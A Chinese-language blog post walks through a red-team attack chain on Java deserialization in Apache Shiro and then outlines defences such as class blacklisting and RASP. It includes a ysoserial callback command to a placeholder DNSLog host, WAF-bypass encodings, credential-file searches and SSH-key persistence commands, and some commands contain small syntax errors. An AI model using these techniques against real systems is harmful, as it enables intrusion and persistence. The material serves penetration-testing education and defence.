从一次内部红队演练看Java反序列化:我们是如何绕过WAF打到内网的
·
从红队视角拆解Java反序列化攻防实战
当企业安全团队进行内部红蓝对抗演练时,Java反序列化漏洞往往成为攻击方突破边界的关键跳板。在一次典型的渗透测试中,攻击者可能从暴露在公网的Java应用入手,利用Shiro等框架的反序列化缺陷绕过层层防御,最终实现内网横向移动。本文将还原这类攻击的完整技术链路,并给出可落地的防御方案。
1. 目标识别与漏洞探测
在真实的红队行动中,攻击者通常不会盲目扫描整个网络,而是通过 指纹识别 和 特征分析 锁定高价值目标。以Apache Shiro框架为例,其默认配置会暴露关键特征:
GET /admin/login HTTP/1.1
Host: target.com
Cookie: rememberMe=1
若响应头包含 Set-Cookie: rememberMe=deleteMe ,即可确认目标使用Shiro框架。这种非侵入式检测方式能有效规避基础WAF的防护规则。
对于存在WAF的环境,攻击者会采用 分阶段验证 策略:
- 先发送无害的测试payload观察响应
- 通过DNSLog等无回显技术验证漏洞
- 逐步增加payload复杂度绕过过滤
例如使用URLDNS链进行盲测:
java -jar ysoserial.jar URLDNS "http://dnslog.example.com" | base64 -w0
2. 绕过WAF的编码与混淆技术
现代WAF通常具备对常见攻击特征(如 Runtime.exec() )的检测能力。红队需要针对不同防护层采用相应绕过手段:
2.1 载荷编码方案对比
| 编码类型 | 适用场景 | 示例 |
|---|---|---|
| Base64 | 基础编码需求 | rO0AB... |
| URL编码 | 处理特殊字符 | %AC%ED%00%05 |
| Hex编码 | 规避关键词检测 | \xac\xed\x00\x05 |
| Unicode | 绕过正则匹配 | \u00ac\u00ed |
2.2 分块传输技巧
通过HTTP分块传输编码(chunked)拆分恶意payload:
POST /api HTTP/1.1
Transfer-Encoding: chunked
5
rO0AB
3
XNy
...
配合时间延迟参数可进一步绕过行为分析:
Thread.sleep(Math.random() * 3000);
3. 内网横向扩展技术
成功获取边界服务器权限后,攻击者通常会进行以下操作:
-
信息收集 :
# 查看网络配置 ifconfig /all # 检查ARP缓存 arp -a # 寻找数据库连接信息 find / -name *.properties -
利用其他Java服务漏洞 :
- Weblogic T3协议反序列化
- Fastjson远程类加载
- Jenkins Groovy沙箱绕过
-
建立持久化通道 :
# 生成SSH密钥对 ssh-keygen -t rsa -b 4096 # 写入目标机authorized_keys echo pubkey >> ~/.ssh/authorized_keys
4. 企业级防御方案设计
针对上述攻击链,建议采用分层防御策略:
4.1 基础防护措施
- 升级Shiro至最新版本(≥1.7.0)
- 修改默认加密密钥
- 禁用不必要的反序列化功能
4.2 高级检测机制
// 自定义ObjectInputStream过滤危险类
public class SafeObjectInputStream extends ObjectInputStream {
private static final Set<String> BLACKLIST =
Set.of("org.apache.commons.collections...");
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
if (BLACKLIST.contains(desc.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt");
}
return super.resolveClass(desc);
}
}
4.3 网络层防护
- 对出站DNS请求实施严格管控
- 在内网部署流量镜像分析系统
- 对管理接口实施双因素认证
在一次真实的客户案例中,我们通过部署RASP(运行时应用自保护)技术,成功拦截了攻击者尝试利用JRMP协议进行的横向移动。该方案通过在Java虚拟机层植入探针,能够实时检测异常的反序列化操作:
// RASP检测示例
public class DeserializationMonitor {
public static void check(Object obj) {
if (obj instanceof Remote) {
throw new SecurityException("JRMP connection detected");
}
}
}
对于关键业务系统,建议定期进行 反序列化漏洞专项审计 ,使用工具如SerialKiller进行自动化扫描,同时结合人工代码审查验证修复效果。
更多推荐




所有评论(0)